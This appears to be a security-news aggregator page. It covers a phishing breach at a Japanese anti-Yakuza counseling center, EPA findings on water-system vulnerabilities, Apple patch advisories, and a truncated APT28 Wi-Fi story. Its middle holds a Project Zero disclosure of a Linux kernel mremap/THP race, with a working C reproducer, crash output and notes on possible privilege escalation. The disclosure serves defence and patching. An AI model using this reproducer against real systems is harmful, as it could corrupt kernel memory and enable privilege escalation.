A local government resource for helping Japanese citizens cut ties with organized crime was successfully phished in a tech support scam, and could have dangerous consequences.

Source: Robert Gilhooly via Alamy Stock Photo

Japan's web of ruthless Yakuza organized crime syndicates continues to operate, threatening the country's citizens with everything from extortion to gangland murders. Local agencies within communities are set up to help those who get involved with gangsters — but unfortunately, one of them has been hacked, potentially leading to physical safety consequences for the victims.

The Kumamoto Prefecture Violence Prevention Movement Promotion Center said that 2,500 people who have used its counseling services (which aid with everything from evading extortion to disentangling romantically from Yakuza members) have been impacted by a data breach following a successful phishing effort.

"On November 15th, a center staff member was directed to a support fraud website while working and was illegally accessed," according to an "apology" notice on the agency's website (via Google Translate). "When the staff member noticed something was wrong, he immediately cut off the power and network connection of the computer terminal, but we cannot deny the possibility that data including personal information used in work may have been leaked."

That information could include addresses, phone numbers, and names: “If you receive a phone call or mail using the name or staff of the 'Violence Prevention Movement Promotion Center' at your address or workplace, please immediately report it … without responding to the request of the other party or opening the mail.”

Beyond follow-on phishing or fraud calls however, the information could be valuable for syndicates looking for those who have left "the life" or extortion victims who got away. The center is contacting those who may have been affected.

**About the Author**

Yakuza Victim Data Leaked in Japanese Agency Attack

At least 97 major water systems in the US have serious cybersecurity vulnerabilities and compliance issues, raising concerns that cyberattacks could disrupt businesses, industry, and the lives of millions of citizens.

Source: Clare Louise Jackson via Shutterstock

Despite a spate of recent cyberattacks raising the awareness of water-infrastructure vulnerabilities, nearly 100 large community water systems (CWS) continue to have serious security weaknesses in Internet-facing systems, putting the water supply of nearly 27 million Americans at risk.

The critical and high-severity vulnerabilities affect more than 9% of the 1,062 water systems in the United States that serve at least 50,000 people, according to an Environmental Protection Agency (EPA) report released on Nov. 13. The vulnerabilities were discovered through passive assessments conducted in October that looked at more than 75,000 IP addresses and 14,400 domains.

Overall, millions of citizens — along with businesses, schools, and hospitals — rely on the affected water systems. "If malicious actors exploited the cybersecurity vulnerabilities we identified in our passive assessment, they could disrupt service or cause irreparable physical damage to drinking water infrastructure," the EPA stated.

Over the past three years, water systems have become increasingly targeted by state-sponsored groups, ransomware gangs, and hacktivists. In 2023, Iran-linked cyberattackers compromised programmable logic controllers (PLCs) at a water utility in Pennsylvania, as well as 10 wastewater treatment plants in Israel. In 2021, a hacker targeted a water treatment plant in Florida and even changed the chemical mixture for the water, but did not have the sophistication to evade detection. In September, a water treatment plant in Arkansas City, Kan., switched to manual operation after the facility was the target of a cybersecurity incident.

Related:Dark Reading Confidential: Pen-Test Arrests, 5 Years Later

Water system vulnerabilities are a critical issue that could impact businesses, especially power-generation systems and data centers, but especially have the potential to cause human harm, says Vinod D'Souza, head of manufacturing and industry in the Office of the CISO at Google Cloud.

"Water utilities are unique in the \[operational technology\] OT world because they directly impact public health, requiring stringent security to prevent catastrophic consequences like contaminated water supplies," he says. "Their geographical spread and complex systems pose distinct cybersecurity challenges not found in other sectors."

**Water, Water, Everywhere ... Nary a Drop of Security?**

The United States has nearly 150,000 water systems, consisting of three types of public infrastructure. Community water systems (CWS) provide water to residents living in a town or city year-round and account for approximately a third (33.7%) of water systems. Transient noncommunity water systems (TNCWS) supply water to travelers and visitors to a specific location — such as a campground or gas station — but not on a permanent basis. These make up 54.3% of public water systems. The final 12% of systems consist of nontransient noncommunity water systems (NTNCWS), which provide water to people in nonresidential locations — such as schools, businesses, and hospitals.

Related:Going Beyond Secure by Demand

Because many water agencies are small and serving communities, they face the same challenges as other local government agencies: a lack of resources, legacy technology, architectures that were not designed to be defensible, and a lack of visibility, says Paul Shaver, global practice lead for ICS/OT security consulting at Google Cloud's Mandiant division.

"This is compounded by the fact that many municipal water agencies have financial constraints that make it difficult to identify risk and develop security capabilities that are appropriate for their organization size," he says.

By EPA regulation, any water systems serving more than 3,300 people must conduct risk assessments, including cybersecurity assessments, and develop emergency response plans. But most do not have the money, and without the funding, the utilities are hard pressed to comply with regulations, Shaver says.

Related:Small US Cyber Agencies Are Underfunded & That's a Problem

The criticality of these systems and their relative lack of protection has government officials worried. In May, the EPA warned that Iran and Russia had stepped up their attacks on water systems in the United States, while the Cybersecurity and Infrastructure Security Agency (CISA) released a cyber-incident response guide for the water and wastewater sector earlier this year.

The May 2024 alert from the EPA noted that "water systems had inadequate risk and resilience assessments and emergency response plans ... \[and\] found significant failures in best practices, such as failure to change default passwords, use of single logins for all staff, and failure to curtail access by former employees."

**US Needs More Investment in Water System Cyber Defense**

Even with the current requirements, many water utilities are already failing to meet their cybersecurity obligations, Google Cloud's D'Souza says.

"Simply increasing regulations won't solve this problem, and merely highlights the financial constraints preventing utilities from adequately protecting critical infrastructure," he says.

Overall, the federal government needs to do more than offer regulations and best practices. In many respects, the water sector is no different than any other critical infrastructure sector with a great deal of operational technology, says Sean Arrowsmith, head of industrials at NCC Group, a cybersecurity consultancy.

"Generally, OT protocols were designed when security was not so much of a consideration but the devices and infrastructure they run is deployed for a long lifetime and now there are business drivers to collect data from them and converge OT with IT, which is where the security challenges arise," he says.

In addition, Arrowsmith says that the amount of legacy infrastructure and breadth of the attack surface area continues to make securing water infrastructure challenging.

**About the Author**

Veteran technology journalist of more than 20 years. Former research engineer. Written for more than two dozen publications, including CNET News.com, Dark Reading, MIT's Technology Review, Popular Science, and Wired News. Five awards for journalism, including Best Deadline Journalism (Online) in 2003 for coverage of the Blaster worm. Crunches numbers on various trends using Python and R. Recent reports include analyses of the shortage in cybersecurity workers and annual vulnerability trends.

Leaky Cybersecurity Holes Put Water Systems at Risk

A security-relevant race between mremap() and THP code has been discovered. Reaching the buggy code typically requires the ability to create unprivileged namespaces. The bug leads to installing physical address 0 as a page table, which is likely exploitable in several ways: For example, triggering the bug in multiple processes can probably lead to unintended page table sharing, which probably can lead to stale TLB entries pointing to freed pages.

    SummaryI found a security-relevant race between mremap() and THP code. Reaching the buggy code typically requires the ability to create unprivileged namespaces. The bug leads to installing physical address 0 as a page table, which is likely exploitable in several ways: For example, triggering the bug in multiple processes can probably lead to unintended page table sharing, which probably can lead to stale TLB entries pointing to freed pages.I also found two other (untested) theoretical races, but those arguably might not even count as bugs, and I'm pretty sure they're not security bugs. I am including my analysis of the closely related non-issues 2 and 3 as context in case you're curious, but I think they're stuff we can deal with on the public list later (or maybe even just leave as-is). Feel free to ignore that part of this report.I will send a suggested patch for the security bug, but I think it's unclear if my patch is actually the right way to fix it.This bug is subject to a 90-day disclosure deadline. If a fix for this issue is made available to users before the end of the 90-day deadline, this bug report will become public 30 days after the fix was made available. Otherwise, this bug report will become public at the deadline. The scheduled deadline is 2024-12-31.For more details, see the Project Zero vulnerability disclosure policy: https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-policy.htmlSecurity bug: move_normal_pmd vs MADVISE_COLLAPSEDescriptionIn mremap(), move_page_tables() looks at the type of the PMD entry and the specified address range to figure out by which method the next chunk of page table entries should be moved. At that point, the mmap_lock is held in write mode, but no rmap locks are held. For PMD entries that point to page tables and are fully covered by the source address range, move_pgt_entry(NORMAL_PMD, ...) is called, which first takes rmap locks, then does move_normal_pmd().move_normal_pmd() takes the necessary page table locks at source and destination, then moves an entire page table from the source to the destination:        /* Clear the pmd */        pmd = *old_pmd;        pmd_clear(old_pmd);        VM_BUG_ON(!pmd_none(*new_pmd));        pmd_populate(mm, new_pmd, pmd_pgtable(pmd));        flush_tlb_range(vma, old_addr, old_addr + PMD_SIZE);The problem is: The rmap locks, which protect against concurrent page table removal by retract_page_tables() in the THP code, are only taken after we have inspected the PMD entry to decide how to move it. So we can race as follows (with two processes that have mappings of the same tmpfs file that is stored on a tmpfs mount with huge=advise):process A                      process B=========                      =========mremap  mremap_to    move_vma      move_page_tables        get_old_pmd        alloc_new_pmd                      *** PREEMPT ***                               madvise(MADV_COLLAPSE)                                 do_madvise                                   madvise_walk_vmas                                     madvise_vma_behavior                                       madvise_collapse                                         hpage_collapse_scan_file                                           collapse_file                                             retract_page_tables                                               i_mmap_lock_read(mapping)                                               pmdp_collapse_flush                                               i_mmap_unlock_read(mapping)        move_pgt_entry(NORMAL_PMD, ...)          take_rmap_locks          move_normal_pmd          drop_rmap_locksIn this case, while move_normal_pmd() expects to see a PMD entry pointing to a page table, the PMD entry has actually been cleared. So this line:pmd_populate(mm, new_pmd, pmd_pgtable(pmd));runs pmd_pgtable() on a cleared PMD entry. On typical implementations (including the X86 one), this simply masks off some bits of pmd and assumes that the remainder is a physical address - so pmd_pgtable(0) returns a pointer to the page for physical address 0. Then, pmd_populate() constructs a PMD entry that points to this physical address as a page table.So this ends up installing physical address 0 as a page table.Fixing itI guess there are two ways we could fix this:    Hold the rmap locks much more broadly in move_page_tables(). In particular, take them before inspecting the source pmd, and if we do a PMD-level move, keep them held throughout the entire move.    Add a bunch of extra recheck/retry logic.I think the first option is nicer in terms of code complexity. Moving the lock up requires a small bit of refactoring though, and the broader locking could conceivably degrade the performance of concurrent rmap access.I will send a suggested patch for the first option in a minute (and I have tested that with that patch, my reproducer no longer triggers); but we might want to do some more bikeshedding of whether this is the right way to patch it, and if yes, whether the patch is doing too little lock-dropping for performance or adds too much complexity with the lock-dropping...ReproducerI made a testcase that triggers this issue after a while and causes a splat when the kernel later tries to unmap this page table at physical address 0:#define _GNU_SOURCE#include <err.h>#include <sched.h>#include <stdio.h>#include <string.h>#include <fcntl.h>#include <signal.h>#include <stdlib.h>#include <unistd.h>#include <sys/syscall.h>#include <sys/stat.h>#include <sys/prctl.h>#include <sys/mount.h>#include <sys/mman.h>#include <sys/wait.h>#include <sys/ioctl.h>static void pin_to(int cpu) {  cpu_set_t cset;  CPU_ZERO(&cset);  CPU_SET(cpu, &cset);  if (sched_setaffinity(0, sizeof(cpu_set_t), &cset))    err(1, "set affinity");}#ifndef MADV_COLLAPSE#define MADV_COLLAPSE 25#endif#define SYSCHK(x) ({          \  typeof(x) __res = (x);      \  if (__res == (typeof(x))-1) \    err(1, "SYSCHK(" #x ")"); \  __res;                      \})static void write_file(char *name, char *buf) {  int fd = SYSCHK(open(name, O_WRONLY));  if (write(fd, buf, strlen(buf)) != strlen(buf))    err(1, "write %s", name);  close(fd);}static void write_map(char *name, int outer_id) {  char buf[100];  sprintf(buf, "0 %d 1", outer_id);  write_file(name, buf);}int main(void) {  // set up new mount ns for tmpfs with THP  int outer_uid = getuid();  int outer_gid = getgid();  SYSCHK(unshare(CLONE_NEWNS|CLONE_NEWUSER));  SYSCHK(mount(NULL, "/", NULL, MS_PRIVATE|MS_REC, NULL));  write_file("/proc/self/setgroups", "deny");  write_map("/proc/self/uid_map", outer_uid);  write_map("/proc/self/gid_map", outer_gid);  // make tmpfs with THP  SYSCHK(mount("none", "/tmp", "tmpfs", MS_NOSUID|MS_NODEV, "huge=advise"));  pin_to(0);  while (1) {    int fd = SYSCHK(open("/tmp/a", O_RDWR|O_CREAT, 0600));    void *ptr = SYSCHK(mmap((void*)0x200000UL, 0x200000, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_FIXED_NOREPLACE, fd, 0));    SYSCHK(ftruncate(fd, 0x1000));    *((volatile char *)ptr) = 'a';    SYSCHK(ftruncate(fd, 0x200000));    SYSCHK(madvise(ptr, 0x200000, MADV_HUGEPAGE));    close(fd);    SYSCHK(unlink("/tmp/a"));    int child = SYSCHK(fork());    if (child == 0) {      for (int i=0; i<512; i++)        ((volatile char *)ptr)[0x1000*i] = 'a';      struct sched_param param = { .sched_priority = 0 };      SYSCHK(sched_setscheduler(0, SCHED_IDLE, &param));      /* race (outer side, will be preempted) */      SYSCHK(mremap((void*)0x200000, 0x200000, 0x200000, MREMAP_MAYMOVE|MREMAP_FIXED, (void*)0x40000000));      return 0;    }    for (int i=0; i<512; i++)      ((volatile char *)ptr)[0x1000*i] = 'a';    usleep(10);    /* race (inner side, will preempt after timer and voluntary resched) */    int madv_res = madvise(ptr, 0x200000, MADV_COLLAPSE);    if (madv_res == -1)      fprintf(stderr, "_");    int wstatus;    SYSCHK(waitpid(child, &wstatus, 0));    SYSCHK(munmap(ptr, 0x200000));    fprintf(stderr, ".");  }}Usage:user@vm:~/collapse-vs-mremap$ gcc -o collapse-vs-mremap-2-noassist collapse-vs-mremap-2-noassist.cuser@vm:~/collapse-vs-mremap$ ./collapse-vs-mremap-2-noassist.................................................................................................................................Result on Linux 6.11 in a QEMU VM, where a bunch of non-zero data is left over in the first 0x1000 bytes of physical memory (note the pmd:00000067):[  120.427189] BUG: Bad page map in process collapse-vs-mre  pte:f000ff53f000ff53 pmd:00000067[  120.428763] addr:0000000040000000 vm_flags:200000fb anon_vma:0000000000000000 mapping:ffff888007dd70f8 index:0[  120.430526] file:a fault:shmem_fault mmap:shmem_mmap read_folio:0x0[  120.431706] CPU: 0 UID: 1000 PID: 1219 Comm: collapse-vs-mre Tainted: G        W          6.11.0 #493[  120.433591] Tainted: [W]=WARN[  120.434201] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014[  120.435849] Call Trace:[  120.436375]  <TASK>[  120.436843]  dump_stack_lvl+0x53/0x70[  120.437570]  print_bad_pte+0x4e6/0x8e0[...][  120.447625]  vm_normal_page+0x1c8/0x260[...][  120.450162]  unmap_page_range+0x914/0x3d10[...][  120.456954]  unmap_vmas+0x1cc/0x390[...][  120.461123]  exit_mmap+0x160/0x6c0[...][  120.465181]  mmput+0xa0/0x3a0[  120.465793]  do_exit+0x7cd/0x27f0[...][  120.472198]  do_group_exit+0xac/0x230[  120.472916]  __x64_sys_exit_group+0x3e/0x50[  120.473722]  x64_sys_call+0x17f3/0x1800[  120.474469]  do_syscall_64+0x4b/0x110[  120.475189]  entry_SYSCALL_64_after_hwframe+0x76/0x7e[...][  120.489560]  </TASK>On other machines where physical page 0 contains only zeroes, the error is different and the kernel complains about the mm's pagetable bytes counter being -4096 on process exit.ImpactReaching this bug requires that you can create shmem/file THP mappings - anonymous THP uses different code that doesn't zap stuff under rmap locks. File THP is gated on an experimental config flag (CONFIG_READ_ONLY_THP_FOR_FS), so on normal distro kernels you need shmem THP to hit this bug. (Some Android kernels set CONFIG_READ_ONLY_THP_FOR_FS=y, but those kernels are older than 6.6, so they're not affected.)As far as I know, getting shmem THP normally requires that you can mount your own tmpfs with the right mount flags, so on normal Linux systems you usually need the ability to create your own user+mount namespace (like my reproducer does).If you trigger this bug in two different processes, or in two different locations in the same process, you should get physical page 0 mapped in two different places. Assuming you know that a certain part of the page contains zeroes, you should be able to get page table entries installed through one of the mappings, and then access those page table entries through the other mapping of the same page table.At that point, I think several bad things can happen that could lead to privilege escalation, though I haven't tested that:    When a PTE is zapped through the page table's first mapping, TLB flushes will only be done for the first mapping, but there can be TLB entries created through the second mapping. So you could probably end up with stale TLB entries pointing to freed pages.    If VMA 1 and VMA 2 share a page table, and you install an anonymous page through VMA 1, and then use mremap() on VMA 2 to move that PTE to another location, and then munmap() VMA 1, you'll end up with an anonymous page that's only mapped into a VMA that is not associated with the page's anon_vma, which leads to kernel UAF. (See https://project-zero.issues.chromium.org/issues/42451486 and https://git.kernel.org/linus/2555283eb40d .)I think the exploitability of this bug depends on whether a struct page has been allocated for physical address 0 - but that seems to be the case at least on the two X86 systems I tested this on.Non-issue 2 (no impact): move_ptes vs MADVISE_COLLAPSEmove_ptes() locks the source and destination page tables as follows:        old_pte = pte_offset_map_lock(mm, old_pmd, old_addr, &old_ptl);        if (!old_pte)                return -EAGAIN;        new_pte = pte_offset_map_nolock(mm, new_pmd, new_addr, &new_ptl);        if (!new_pte) {                pte_unmap_unlock(old_pte, old_ptl);                return -EAGAIN;        }        if (new_ptl != old_ptl)                spin_lock_nested(new_ptl, SINGLE_DEPTH_NESTING);pte_offset_map_nolock() followed by manually taking the page table lock does not (unlike pte_offset_map_lock()) protect against concurrent removal of the page table via retract_page_tables(); and that can happen when need_rmap_locks is false. So I think that after this block, we can end up with new_pte pointing to a page table that has already been scheduled for RCU-delayed freeing. The good news is that (as far as I understand) this can only happen when all the PTEs in the source page table are pte_none(), so no PTEs will actually be written to the detached destination page table, so nothing bad happens.Non-issue 3 (probably no impact, untested): move_huge_pmd vs split_huge_page_to_list_to_orderThe classic way mremap() used to work is:    We make a new VMA.    We move page table entries into the new VMA with move_page_tables(), creating page tables if necessary. Only page table entries are moved; the old page tables stay where they are.    If a page table allocation fails due to OOM, or if the ->mremap handler returns an error, we use move_page_tables() to move the page table entries back to the old VMA; this is expected to always succeed, since the old page tables still exist, so page table allocation should not happen.As a comment in move_page_tables() explains:/* * On error, move entries back from new area to old, * which will succeed since page tables still there, * and then proceed to unmap new area instead of old. */However, that does not hold in the following scenario, assuming that the architecture does not define HAVE_MOVE_PMD (which permits mremap() to move entire page tables):    move_vma() calls move_page_tables()    move_page_tables() moves an anonymous huge PMD entry.    move_page_tables() tries to move more page table entries, but page table allocation fails, and the function returns early.    Another racing process causes the huge PMD entry to be split via split_huge_page_to_list_to_order() (turning the huge PMD entry into a PMD entry pointing to a page table whose PTEs point to all the subpages).    move_vma() calls move_page_tables() in the reverse direction to move PTEs back.    move_page_tables() unexpectedly needs to allocate a new page table to move the PTEs generated by the huge PMD split, which again fails. PTEs are left behind in the destination area.    do_vmi_munmap() removes the temporary destination VMA and removes the left-behind PTEs in the destination area.So in the end, an anonymous page has erroneously disappeared from the VMA, but I think that doesn't lead to any major consequences.FWIW, the architectures that define HAVE_ARCH_TRANSPARENT_HUGEPAGE without also defining HAVE_MOVE_PMD are: mips, loongarch, s390, sparc64, arc, arm.I think similar things can probably also happen on x86/arm64 if, when moving PTEs back with move_pgt_entry(HPAGE_PMD, ...), we race with a concurrent split_huge_page_to_list_to_order() such that move_huge_pmd() fails at the __pmd_trans_huge_lock() and we fall back to the move_ptes() path.CommentsAll commentsja...@google.com <ja...@google.com> #2Oct 15, 2024 11:05AMThe fix for the security bug is currently in the MM tree at https://git.kernel.org/pub/scm/linux/kernel/git/akpm/mm.git/commit/?id=9118e3ff1212add463770537519dce4aed51cf94 , on the mm-hotfixes-unstable branch.ja...@google.com <ja...@google.com> #3Oct 22, 2024 09:28AMMarked as fixed, reassigned to ja...@google.com.Fix landed as https://git.kernel.org/linus/6fa1066fc5d00cb9f1b0e83b7ff6ef98d26ba2aa ("mm/mremap: fix move_normal_pmd/retract_page_tables race").In stable releases:    6.6.58 (2024-10-22)    6.11.5 (2024-10-22)Related CVE Number: CVE-2024-50066.Credit: Jann Horn

Linux 6.6 Race Condition

Apple Security Advisory 11-19-2024-5 - macOS Sequoia 15.1.1 addresses code execution vulnerabilities.

-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA256

APPLE-SA-11-19-2024-5 macOS Sequoia 15.1.1

macOS Sequoia 15.1.1 addresses the following issues.  
Information about the security content is also available at  
https://support.apple.com/121753.

Apple maintains a Security Releases page at  
https://support.apple.com/100100 which lists recent  
software updates with security advisories.

JavaScriptCore  
Available for: macOS Sequoia  
Impact: Processing maliciously crafted web content may lead to arbitrary  
code execution. Apple is aware of a report that this issue may have been  
actively exploited on Intel-based Mac systems.  
Description: The issue was addressed with improved checks.  
WebKit Bugzilla: 283063  
CVE-2024-44308: Clément Lecigne and Benoît Sevens of Google's Threat  
Analysis Group

WebKit  
Available for: macOS Sequoia  
Impact: Processing maliciously crafted web content may lead to a cross  
site scripting attack. Apple is aware of a report that this issue may  
have been actively exploited on Intel-based Mac systems.  
Description: A cookie management issue was addressed with improved state  
management.  
WebKit Bugzilla: 283095  
CVE-2024-44309: Clément Lecigne and Benoît Sevens of Google's Threat  
Analysis Group

macOS Sequoia 15.1.1 may be obtained from the Mac App Store or Apple's  
Software Downloads web site: https://support.apple.com/downloads/

All information is also posted on the Apple Security Releases  
web site: https://support.apple.com/100100.

This message is signed with Apple's Product Security PGP key,  
and details are available at:  
https://www.apple.com/support/security/pgp/

-----BEGIN PGP SIGNATURE-----

iQIzBAEBCAAdFiEEsz9altA7uTI+rE/qX+5d1TXaIvoFAmc9JSQACgkQX+5d1TXa  
Ivo92g/8Dm9sVuOeQTu56JLi2yAlbu9NK8Udb4ByFIsi63HWksJ6rK9LzZfTF8Yd  
Z3SBk7aIHl9tMj2gJ6QJ71SwCdN/fTnAC9na5fZwUjdsjuH1uoPmiMSA48MDwmQC  
vf6grIhskLNi0bQrpcKR1C79fmGlO7Nua3zmbvdvs41/3g3A7udvf2KpZTkkDrP4  
+zwsVCJCu4xHTo5bU0NrM/Cbon+TO01/gyhnngZzl65bIPkhyeEDiVHW3K6aKDA8  
XpClgMGe7ZIRao0hmqqK+YYPso/yDdUDpHlfEFL/YYseVThd+t6EPn4irWFPCPTv  
usiMVUpOpqmMHfPaVO/uzwDR/wgpB8ws4BsBjytQ2q5ZZgyxsIUx6cEJazgbRXtI  
UIJWgodel8AClhWrRo8c14rIuUH1jqMh8EcbimFdC62vSivuNgwNdBd5U2wRnELr  
w1I65s3u7f3Qly8himbl+41ueYcgInsVld7206tk8Ygmm7zA4kupLBEH+EeK43c3  
2P0NF7CMQCnJcwbEqusIUi8AOSN2VgGi9E6BjjJGnLhbbieX/ssKTTbv+mt0ctyq  
5uB3WUZBDbhJKj8p/0+iBAlzZUJDkrudmy8No9Zc2ImTcZ61gP2Zbh/5lcI8hZu+  
SKOrc+1s5nRW1FcGXL2ZzjtnmXnU6DGFfN7stVtTmVAg4dEWzeo=  
=IY5p  
-----END PGP SIGNATURE-----

Apple Security Advisory 11-19-2024-5

Apple Security Advisory 11-19-2024-4 - iOS 17.7.2 and iPadOS 17.7.2 addresses code execution vulnerabilities.

    -----BEGIN PGP SIGNED MESSAGE-----Hash: SHA256APPLE-SA-11-19-2024-4 iOS 17.7.2 and iPadOS 17.7.2iOS 17.7.2 and iPadOS 17.7.2 addresses the following issues.Information about the security content is also available athttps://support.apple.com/121754.Apple maintains a Security Releases page athttps://support.apple.com/100100 which lists recentsoftware updates with security advisories.JavaScriptCoreAvailable for: iPhone XS and later, iPad Pro 13-inch, iPad Pro 12.9-inch2nd generation and later, iPad Pro 10.5-inch, iPad Pro 11-inch 1stgeneration and later, iPad Air 3rd generation and later, iPad 6thgeneration and later, and iPad mini 5th generation and laterImpact: Processing maliciously crafted web content may lead to arbitrarycode execution. Apple is aware of a report that this issue may have beenactively exploited on Intel-based Mac systems.Description: The issue was addressed with improved checks.WebKit Bugzilla: 283063CVE-2024-44308: Clément Lecigne and Benoît Sevens of Google's ThreatAnalysis GroupWebKitAvailable for: iPhone XS and later, iPad Pro 13-inch, iPad Pro 12.9-inch2nd generation and later, iPad Pro 10.5-inch, iPad Pro 11-inch 1stgeneration and later, iPad Air 3rd generation and later, iPad 6thgeneration and later, and iPad mini 5th generation and laterImpact: Processing maliciously crafted web content may lead to a crosssite scripting attack. Apple is aware of a report that this issue mayhave been actively exploited on Intel-based Mac systems.Description: A cookie management issue was addressed with improved statemanagement.WebKit Bugzilla: 283095CVE-2024-44309: Clément Lecigne and Benoît Sevens of Google's ThreatAnalysis GroupThis update is available through iTunes and Software Update on youriOS device, and will not appear in your computer's Software Updateapplication, or in the Apple Downloads site. Make sure you have anInternet connection and have installed the latest version of iTunesfrom https://www.apple.com/itunes/iTunes and Software Update on the device will automatically checkApple's update server on its weekly schedule. When an update isdetected, it is downloaded and the option to be installed ispresented to the user when the iOS device is docked. We recommendapplying the update immediately if possible. SelectingDon't Install will present the option the next time you connectyour iOS device.The automatic update process may take up to a week depending onthe day that iTunes or the device checks for updates. You maymanually obtain the update via the Check for Updates buttonwithin iTunes, or the Software Update on your device.To check that the iPhone, iPod touch, or iPad has been updated:* Navigate to Settings* Select General* Select About. The version after applying this update will be"iOS 17.7.2 and iPadOS 17.7.2".All information is also posted on the Apple Security Releasesweb site: https://support.apple.com/100100.This message is signed with Apple's Product Security PGP key,and details are available at:https://www.apple.com/support/security/pgp/-----BEGIN PGP SIGNATURE-----iQIzBAEBCAAdFiEEsz9altA7uTI+rE/qX+5d1TXaIvoFAmc9JGcACgkQX+5d1TXaIvqaMhAArOKmA61hgLNGofjznuKQo6Jc42iPl7a/ZiB2Tq5ynZKPIGmGiM3HdJQ8bbifOgpkmNcA3h1OUlXnnkbdehq6d8MzI9WSn6uHdgWZ5LqLMXOWgsEF5Hwwmm7zaqTaqMv4fV2J6w2wTcoL5XptxGXiEi37/GzcureD3hvL+nRAAzR6c/gRXmcEjGL7pVTNJA0C8VyY9kG+Uc7ia2m5Riux2jsYzWYppPfCwUFeo3bQDexG7WsiHa00OZN+HkNS5/1t/7hftJZ+w/PbVnEK23Dm962NQgCrcFKGnbjNGJQlIjl+xfbi6BuQ6lJJZAI+3WqPHXLAMCcae/DfERqXWnJu8fTMfCwCbQVx185Cih+mtH0oc4MtPtiZdhi8TxZpVGZHYjLJa9VANTrNzkAmFflnhAC4tAG2FXx3ld3t/8u9Fhv0oyTa5HlzVYJ/WJgK32eT7I1h7Oqrp49KZcMIM8H6ZwNXYOI+Rf7GXdEN2y9Qhb+IOvdilTrCTpzRl6Gu6fBwH0G0UGHRktnBPlryJdOg26J1iVBZg6/K/CSjQizWdDXN/Nq4YwI17Eq4HtFdtOtrs5n0bDz+fsfGbsieTyUz1BUet2xLzPECfD4nYEKmckD1d/dRylc3vK9YGOCp1nWDoPSKnmkU9Il2SFAIuEM9o60lCN7PMWBrC9zYXMAxFmY==+VKC-----END PGP SIGNATURE-----

Apple Security Advisory 11-19-2024-4

Apple Security Advisory 11-19-2024-3 - iOS 18.1.1 and iPadOS 18.1.1 addresses code execution vulnerabilities.

    -----BEGIN PGP SIGNED MESSAGE-----Hash: SHA256APPLE-SA-11-19-2024-3 iOS 18.1.1 and iPadOS 18.1.1iOS 18.1.1 and iPadOS 18.1.1 addresses the following issues.Information about the security content is also available athttps://support.apple.com/121752.Apple maintains a Security Releases page athttps://support.apple.com/100100 which lists recentsoftware updates with security advisories.JavaScriptCoreAvailable for: iPhone XS and later, iPad Pro 13-inch, iPad Pro 12.9-inch3rd generation and later, iPad Pro 11-inch 1st generation and later,iPad Air 3rd generation and later, iPad 7th generation and later, andiPad mini 5th generation and laterImpact: Processing maliciously crafted web content may lead to arbitrarycode execution. Apple is aware of a report that this issue may have beenactively exploited on Intel-based Mac systems.Description: The issue was addressed with improved checks.WebKit Bugzilla: 283063CVE-2024-44308: Clément Lecigne and Benoît Sevens of Google's ThreatAnalysis GroupWebKitAvailable for: iPhone XS and later, iPad Pro 13-inch, iPad Pro 12.9-inch3rd generation and later, iPad Pro 11-inch 1st generation and later,iPad Air 3rd generation and later, iPad 7th generation and later, andiPad mini 5th generation and laterImpact: Processing maliciously crafted web content may lead to a crosssite scripting attack. Apple is aware of a report that this issue mayhave been actively exploited on Intel-based Mac systems.Description: A cookie management issue was addressed with improved statemanagement.WebKit Bugzilla: 283095CVE-2024-44309: Clément Lecigne and Benoît Sevens of Google's ThreatAnalysis GroupThis update is available through iTunes and Software Update on youriOS device, and will not appear in your computer's Software Updateapplication, or in the Apple Downloads site. Make sure you have anInternet connection and have installed the latest version of iTunesfrom https://www.apple.com/itunes/iTunes and Software Update on the device will automatically checkApple's update server on its weekly schedule. When an update isdetected, it is downloaded and the option to be installed ispresented to the user when the iOS device is docked. We recommendapplying the update immediately if possible. SelectingDon't Install will present the option the next time you connectyour iOS device.The automatic update process may take up to a week depending onthe day that iTunes or the device checks for updates. You maymanually obtain the update via the Check for Updates buttonwithin iTunes, or the Software Update on your device.To check that the iPhone, iPod touch, or iPad has been updated:* Navigate to Settings* Select General* Select About. The version after applying this update will be"iOS 18.1.1 and iPadOS 18.1.1".All information is also posted on the Apple Security Releasesweb site: https://support.apple.com/100100.This message is signed with Apple's Product Security PGP key,and details are available at:https://www.apple.com/support/security/pgp/-----BEGIN PGP SIGNATURE-----iQIzBAEBCAAdFiEEsz9altA7uTI+rE/qX+5d1TXaIvoFAmc9JA8ACgkQX+5d1TXaIvrGzw/+PXf2fGgzCN5of6OYK0sWiJRRLZoL0uSZ9dOaD7I0/CyAx91Mv4OyH9Vveo9k84ZABNk4IO401WWLM8XSRSVILTcskT+SdXZrtOMYvmtUHUPKI35OWf1GBFdkgfnnFSRYf/B+WWb4PV0iO01lyFQVU5qDLcrUCAUQLwighfAX2yEn+Zml3NX6i2E5o2Rhc93Nac5a2cIcOGOSKrwsor0sh8NkAl9DcyPW6i6K3t59lUjiUY9XZQtEi6AyrChA84mo6Hb8wLwVIY17b8LVuruOSn3xg+Cc5eO5bOXp1O5lnR3dhuiZ2bl5BKawrp8+MDRsBZuTPS0k2Di3rmzuZ/GnvaQdtQKhcbOQ7tWW6evk/8TnFwlULaCr26OVbuLj0NWJ7GJYWpPuRWO0lFy9z9Fjdk4n+ptA7qmSWrhbdl+/uwUxJA5X58pVRWeWBExGP3S/ST/5YgAfZXBjHuDLiHKMOtQ3PktaMuEWhLFgGXNllXGQDihL4lS/XUQ1/E+mpWyY+kAbjtmCYlpez5MgeLkVv66yEWhOhsBMNIM+jkkRjktJo2SfhJMSryNLQlY37zn/VWf8Av+L60YoZhoMmx7DJLIr+HI257zbIE35CVZ+badn18d3eA+fq3RPtsDD8nlUePyZeNhEvc30Y5hXsIyK+Z0Ny+JgJfP1E6BeAJjjci0==ifwz-----END PGP SIGNATURE-----

Apple Security Advisory 11-19-2024-3

In a first, Russia's APT28 hacking group appears to have remotely breached the Wi-Fi of an espionage target by hijacking a laptop in another building across the street.

For determined hackers, sitting in a car outside a target's building and using radio equipment to breach its Wi-Fi network has long been an effective but risky technique. These risks became all too clear when spies working for Russia's GRU military intelligence agency were caught red-handed on a city street in the Netherlands in 2018 using an antenna hidden in their car's trunk to try to hack into the Wi-Fi of the Organization for the Prohibition of Chemical Weapons.

